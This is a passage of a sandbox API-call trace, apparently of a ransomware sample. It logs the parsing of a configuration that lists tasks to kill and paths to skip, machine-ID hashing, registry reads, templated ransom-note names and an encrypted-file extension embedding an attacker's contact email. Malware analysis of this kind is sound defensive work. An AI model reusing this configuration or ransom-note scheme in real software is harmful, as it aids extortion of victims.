[0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x58) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2658 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x5c) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2678 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x60) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2698 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x64) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e26b8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x68) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e26d8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x6c) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e26f8 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x70) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2718 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x74) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2738 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x78) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2758 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x7c) returned 0x8dfc28 [0128.966] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2778 [0128.966] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x80) returned 0x8dfc28 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2798 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x84) returned 0x8dfc28 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e27b8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x88) returned 0x8dfc28 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e27d8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x8c) returned 0x8dfc28 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e27f8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dfc28, Size=0x90) returned 0x8dfc28 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2818 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x10) returned 0x8d3898 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2838 [0128.967] strtol (in: _Str="20,\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}", _EndPtr=0x47f9c0, _Radix=0 | out: _EndPtr=0x47f9c0*=",\"task\":[\"reboot\",\"restart\",\"shutdown\",\"logoff\",\".bat\", \"backup\",\".cmd\"],},\"net\":{\"use\":true, \"ignore\": { \"use\":true, \"disk\":true, \"share\":[\"ipc$\",\"admin$\"], }},\"unlocker\":{\"use\":true, \"ignore\": { \"use\":true, \"pspath\":[\"*:?windows*\",\"*:?winnt*\",\"*:?program file*?vmwar*\"], \"prc\":[\"psexec.exe\",\"system\"], }}}") returned 20 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3898, Size=0x14) returned 0x8e2858 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2878 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfe8 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e2898 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbfe8, Size=0x8) returned 0x8dc008 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e28b8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0xc) returned 0x8d3898 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e28d8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3898, Size=0x10) returned 0x8d3838 [0128.967] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e28f8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d3838, Size=0x14) returned 0x8e2918 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2918, Size=0x18) returned 0x8e2958 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8e2958, Size=0x1c) returned 0x8df458 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8da7f8, Size=0x34) returned 0x8d99d0 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0x8) returned 0x8dbfe8 [0128.967] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc008, Size=0x8) returned 0x8dbff8 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0xc) returned 0x8d3838 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc008 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8d99d0, Size=0x38) returned 0x8d9990 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc018 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc028 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dbff8, Size=0x8) returned 0x8dc038 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc038, Size=0xc) returned 0x8d3898 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc028, Size=0xc) returned 0x8d3880 [0128.968] RtlReAllocateHeap (Heap=0x8c0000, Flags=0x8, Ptr=0x8dc028, Size=0x8) returned 0x8dc038 [0128.986] GetVersion () returned 0x1db10106 [0128.986] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x8e6308 | out: Wow64Process=0x8e6308) returned 1 [0128.986] GetCurrentProcessId () returned 0x674 [0128.986] NtOpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0xf01ff, TokenHandle=0x47fa68 | out: TokenHandle=0x47fa68*=0x104) returned 0x0 [0128.986] GetTokenInformation (in: TokenHandle=0x104, TokenInformationClass=0x1, TokenInformation=0x8e6388, TokenInformationLength=0x100, ReturnLength=0x47fa7c | out: TokenInformation=0x8e6388, ReturnLength=0x47fa7c) returned 1 [0128.986] IsWellKnownSid (pSid=0x8e6390*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), WellKnownSidType=0x16) returned 0 [0128.986] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6388) returned 1 [0128.986] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x0, nSize=0x47fa64 | out: lpBuffer=0x0, nSize=0x47fa64) returned 0 [0128.987] GetLastError () returned 0xea [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x16) returned 0x8de648 [0128.987] GetComputerNameExW (in: NameType=0x0, lpBuffer=0x8de648, nSize=0x47fa64 | out: lpBuffer="XDUWTFONO", nSize=0x47fa64) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xf4) returned 0x8e6388 [0128.987] GetCurrentHwProfileW (in: lpHwProfileInfo=0x8e6388 | out: lpHwProfileInfo=0x8e6388) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e6488 [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df8b8 [0128.987] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df8b8) returned 1 [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df8b8 [0128.987] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df8e0 [0128.990] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df8e0) returned 1 [0128.990] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x41) returned 0x8e22d0 [0128.990] sprintf (in: _Dest=0x8e22d0, _Format="%0.2x" | out: _Dest="cd") returned 2 [0128.990] sprintf (in: _Dest=0x8e22d2, _Format="%0.2x" | out: _Dest="46") returned 2 [0128.990] sprintf (in: _Dest=0x8e22d4, _Format="%0.2x" | out: _Dest="de") returned 2 [0128.990] sprintf (in: _Dest=0x8e22d6, _Format="%0.2x" | out: _Dest="9c") returned 2 [0128.990] sprintf (in: _Dest=0x8e22d8, _Format="%0.2x" | out: _Dest="ac") returned 2 [0128.990] sprintf (in: _Dest=0x8e22da, _Format="%0.2x" | out: _Dest="99") returned 2 [0128.990] sprintf (in: _Dest=0x8e22dc, _Format="%0.2x" | out: _Dest="fb") returned 2 [0128.990] sprintf (in: _Dest=0x8e22de, _Format="%0.2x" | out: _Dest="0a") returned 2 [0128.990] sprintf (in: _Dest=0x8e22e0, _Format="%0.2x" | out: _Dest="8b") returned 2 [0128.990] sprintf (in: _Dest=0x8e22e2, _Format="%0.2x" | out: _Dest="d5") returned 2 [0128.990] sprintf (in: _Dest=0x8e22e4, _Format="%0.2x" | out: _Dest="ce") returned 2 [0128.990] sprintf (in: _Dest=0x8e22e6, _Format="%0.2x" | out: _Dest="70") returned 2 [0128.990] sprintf (in: _Dest=0x8e22e8, _Format="%0.2x" | out: _Dest="e3") returned 2 [0128.990] sprintf (in: _Dest=0x8e22ea, _Format="%0.2x" | out: _Dest="6a") returned 2 [0128.990] sprintf (in: _Dest=0x8e22ec, _Format="%0.2x" | out: _Dest="f2") returned 2 [0128.990] sprintf (in: _Dest=0x8e22ee, _Format="%0.2x" | out: _Dest="12") returned 2 [0128.990] sprintf (in: _Dest=0x8e22f0, _Format="%0.2x" | out: _Dest="e3") returned 2 [0128.990] sprintf (in: _Dest=0x8e22f2, _Format="%0.2x" | out: _Dest="c6") returned 2 [0128.990] sprintf (in: _Dest=0x8e22f4, _Format="%0.2x" | out: _Dest="bd") returned 2 [0128.990] sprintf (in: _Dest=0x8e22f6, _Format="%0.2x" | out: _Dest="2e") returned 2 [0128.990] sprintf (in: _Dest=0x8e22f8, _Format="%0.2x" | out: _Dest="1f") returned 2 [0128.991] sprintf (in: _Dest=0x8e22fa, _Format="%0.2x" | out: _Dest="13") returned 2 [0128.991] sprintf (in: _Dest=0x8e22fc, _Format="%0.2x" | out: _Dest="fe") returned 2 [0128.991] sprintf (in: _Dest=0x8e22fe, _Format="%0.2x" | out: _Dest="30") returned 2 [0128.991] sprintf (in: _Dest=0x8e2300, _Format="%0.2x" | out: _Dest="85") returned 2 [0128.991] sprintf (in: _Dest=0x8e2302, _Format="%0.2x" | out: _Dest="86") returned 2 [0128.991] sprintf (in: _Dest=0x8e2304, _Format="%0.2x" | out: _Dest="c8") returned 2 [0128.991] sprintf (in: _Dest=0x8e2306, _Format="%0.2x" | out: _Dest="5e") returned 2 [0128.991] sprintf (in: _Dest=0x8e2308, _Format="%0.2x" | out: _Dest="ff") returned 2 [0128.991] sprintf (in: _Dest=0x8e230a, _Format="%0.2x" | out: _Dest="0a") returned 2 [0128.991] sprintf (in: _Dest=0x8e230c, _Format="%0.2x" | out: _Dest="87") returned 2 [0128.991] sprintf (in: _Dest=0x8e230e, _Format="%0.2x" | out: _Dest="38") returned 2 [0128.991] RtlInitAnsiString (in: DestinationString=0x47fa14, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738" | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") [0128.991] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa1c, SourceString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738", AllocateDestinationString=1 | out: DestinationString="cd46de9cac99fb0a8bd5ce70e36af212e3c6bd2e1f13fe308586c85eff0a8738") returned 0x0 [0128.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x82) returned 0x8e65a8 [0128.991] RtlFreeAnsiString (AnsiString="c") [0128.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e5418 [0128.991] wcscpy (in: _Dest=0x8e5418, _Source="\\\\" | out: _Dest="\\\\") returned="\\\\" [0128.991] wcscat (in: _Dest=0x8e5418, _Source="XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0128.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4) returned 0x8dbfb8 [0128.991] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x18) returned 0x8e5438 [0128.991] wcscpy (in: _Dest=0x8e5438, _Source="\\\\XDUWTFONO" | out: _Dest="\\\\XDUWTFONO") returned="\\\\XDUWTFONO" [0128.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5418) returned 1 [0128.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df8b8) returned 1 [0128.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6488) returned 1 [0128.992] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e6388) returned 1 [0128.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12) returned 0x8e5418 [0128.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x12) returned 0x8e5458 [0128.992] wcscpy (in: _Dest=0x8e5458, _Source="cd46de9c" | out: _Dest="cd46de9c") returned="cd46de9c" [0128.992] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x24) returned 0x8d8538 [0128.992] wcscpy (in: _Dest=0x8d8538, _Source="software\\" | out: _Dest="software\\") returned="software\\" [0128.992] wcscat (in: _Dest=0x8d8538, _Source="cd46de9c" | out: _Dest="software\\cd46de9c") returned="software\\cd46de9c" [0128.992] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="software\\cd46de9c", ulOptions=0x0, samDesired=0x20119, phkResult=0x47fa30 | out: phkResult=0x47fa30*=0x110) returned 0x0 [0128.992] RegQueryValueExW (in: hKey=0x110, lpValueName="cd46de9c", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x47fa2c*=0x0 | out: lpType=0x0, lpData=0x0, lpcbData=0x47fa2c*=0x8c) returned 0x0 [0128.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x8c) returned 0x8e6388 [0128.993] RegQueryValueExW (in: hKey=0x110, lpValueName="cd46de9c", lpReserved=0x0, lpType=0x0, lpData=0x8e6388, lpcbData=0x47fa2c*=0x8c | out: lpType=0x0, lpData=0x8e6388*=0x5f, lpcbData=0x47fa2c*=0x8c) returned 0x0 [0128.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df8b8 [0128.993] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e85a8 [0128.993] RegFlushKey (hKey=0x110) returned 0x0 [0129.048] RegCloseKey (hKey=0x110) returned 0x0 [0129.048] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8538) returned 1 [0129.048] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6) returned 0x8e5f28 [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc) returned 0x8e5b60 [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x28) returned 0x8d8538 [0129.049] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xd) returned 0x8e5b78 [0129.049] strstr (_Str="*-Readme.txt", _SubStr="{ID}") returned 0x0 [0129.049] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="*-Readme.txt" | out: DestinationString="*-Readme.txt") [0129.049] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="*-Readme.txt", AllocateDestinationString=1 | out: DestinationString="*-Readme.txt") returned 0x0 [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1a) returned 0x8df908 [0129.049] RtlFreeAnsiString (AnsiString="*") [0129.049] strstr (_Str=".mailto[{mail1}].{id}", _SubStr="{id}") returned="{id}" [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17) returned 0x8e5478 [0129.049] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{id}") returned 0x0 [0129.049] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{ID}") returned 0x0 [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x17) returned 0x8e5498 [0129.049] strcpy (in: _Dest=0x8e5498, _Source=".mailto[{mail1}].cd46d" | out: _Dest=".mailto[{mail1}].cd46d") returned=".mailto[{mail1}].cd46d" [0129.049] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5478) returned 1 [0129.049] strstr (_Str=".mailto[{mail1}].cd46d", _SubStr="{mail1}") returned="{mail1}].cd46d" [0129.049] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x25) returned 0x8d87a8 [0129.050] strstr (_Str=".mailto[2Hamlampampom@cock.li].cd46d", _SubStr="{mail1}") returned 0x0 [0129.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5498) returned 1 [0129.050] strstr (_Str=".mailto[2Hamlampampom@cock.li].cd46d", _SubStr="{mail2}") returned 0x0 [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x25) returned 0x8d87d8 [0129.050] strcpy (in: _Dest=0x8d87d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest=".mailto[2Hamlampampom@cock.li].cd46d") returned=".mailto[2Hamlampampom@cock.li].cd46d" [0129.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d87a8) returned 1 [0129.050] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString=".mailto[2Hamlampampom@cock.li].cd46d" | out: DestinationString=".mailto[2Hamlampampom@cock.li].cd46d") [0129.050] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString=".mailto[2Hamlampampom@cock.li].cd46d", AllocateDestinationString=1 | out: DestinationString=".mailto[2Hamlampampom@cock.li].cd46d") returned 0x0 [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e3c90 [0129.050] RtlFreeAnsiString (AnsiString=".") [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe) returned 0x8e5b90 [0129.050] wcscpy (in: _Dest=0x8e5b90, _Source="." | out: _Dest=".") returned="." [0129.050] wcscat (in: _Dest=0x8e5b90, _Source="cd46d" | out: _Dest=".cd46d") returned=".cd46d" [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4a) returned 0x8e3c38 [0129.050] wcscpy (in: _Dest=0x8e3c38, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest=".mailto[2Hamlampampom@cock.li].cd46d") returned=".mailto[2Hamlampampom@cock.li].cd46d" [0129.050] strstr (_Str="{ID}-Readme.txt", _SubStr="{id}") returned 0x0 [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x10) returned 0x8e5ba8 [0129.050] strcpy (in: _Dest=0x8e5ba8, _Source="{ID}-Readme.txt" | out: _Dest="{ID}-Readme.txt") returned="{ID}-Readme.txt" [0129.050] strstr (_Str="{ID}-Readme.txt", _SubStr="{ID}") returned="{ID}-Readme.txt" [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11) returned 0x8e5498 [0129.050] strstr (_Str="CD46D-Readme.txt", _SubStr="{ID}") returned 0x0 [0129.050] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5ba8) returned 1 [0129.050] strstr (_Str="CD46D-Readme.txt", _SubStr="{mail1}") returned 0x0 [0129.050] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11) returned 0x8e5478 [0129.051] strcpy (in: _Dest=0x8e5478, _Source="CD46D-Readme.txt" | out: _Dest="CD46D-Readme.txt") returned="CD46D-Readme.txt" [0129.051] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5498) returned 1 [0129.051] strstr (_Str="CD46D-Readme.txt", _SubStr="{mail2}") returned 0x0 [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x11) returned 0x8e5498 [0129.051] strcpy (in: _Dest=0x8e5498, _Source="CD46D-Readme.txt" | out: _Dest="CD46D-Readme.txt") returned="CD46D-Readme.txt" [0129.051] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e5478) returned 1 [0129.051] RtlInitAnsiString (in: DestinationString=0x47fa54, SourceString="CD46D-Readme.txt" | out: DestinationString="CD46D-Readme.txt") [0129.051] RtlAnsiStringToUnicodeString (in: DestinationString=0x47fa5c, SourceString="CD46D-Readme.txt", AllocateDestinationString=1 | out: DestinationString="CD46D-Readme.txt") returned 0x0 [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x22) returned 0x8d8808 [0129.051] RtlFreeAnsiString (AnsiString="C") [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x89) returned 0x8e6420 [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df8e0 [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df930 [0129.051] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df958 [0129.051] NtQuerySystemTime (in: CurrentTime=0x47f9c4 | out: CurrentTime=0x47f9c4*=132174899039294000) returned 0x0 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x7d11d91b [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x64d66280 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x191e0ace [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x5aba5d99 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x5ed91491 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x74f3d0f1 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x66d96f48 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x46841714 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x50a6adbf [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x326c566 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x44b62ca5 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x37089e40 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x1ee56af5 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x2d4c12c7 [0129.051] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x3baf21c2 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x65a0501e [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x2b30dc20 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x363d7584 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x54184ec2 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x1a5b625e [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x1887c1d7 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x158e60fb [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x68ed12b5 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x41ae8a5d [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x3e02233a [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x2fadbc74 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x1d999400 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x4dd669c3 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x2ee07854 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x7b6bf8f1 [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x7cb4d33b [0129.052] RtlRandomEx (in: Seed=0x47f9d0 | out: Seed=0x47f9d0) returned 0x35ddf8d [0129.069] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df980 [0129.070] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8620 [0129.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8df9a8 [0129.071] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8620) returned 1 [0129.071] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8df958) returned 1 [0129.071] sprintf (in: _Dest=0x8e5ba8, _Format="%0.8x" | out: _Dest="3289ad72") returned 8 [0129.071] strstr (_Str="{code_ph_id:\r\nb64}", _SubStr="ph") returned="ph_id:\r\nb64}" [0129.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x19) returned 0x8df958 [0129.071] strstr (_Str="{code_3289ad72_id:\r\nb64}", _SubStr="ph") returned 0x0 [0129.071] strstr (_Str="{code_3289ad72_id:\r\nb64}", _SubStr="id") returned="id:\r\nb64}" [0129.071] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1c) returned 0x8df9d0 [0129.072] strstr (_Str="{code_3289ad72_cd46d:\r\nb64}", _SubStr="id") returned 0x0 [0129.072] strstr 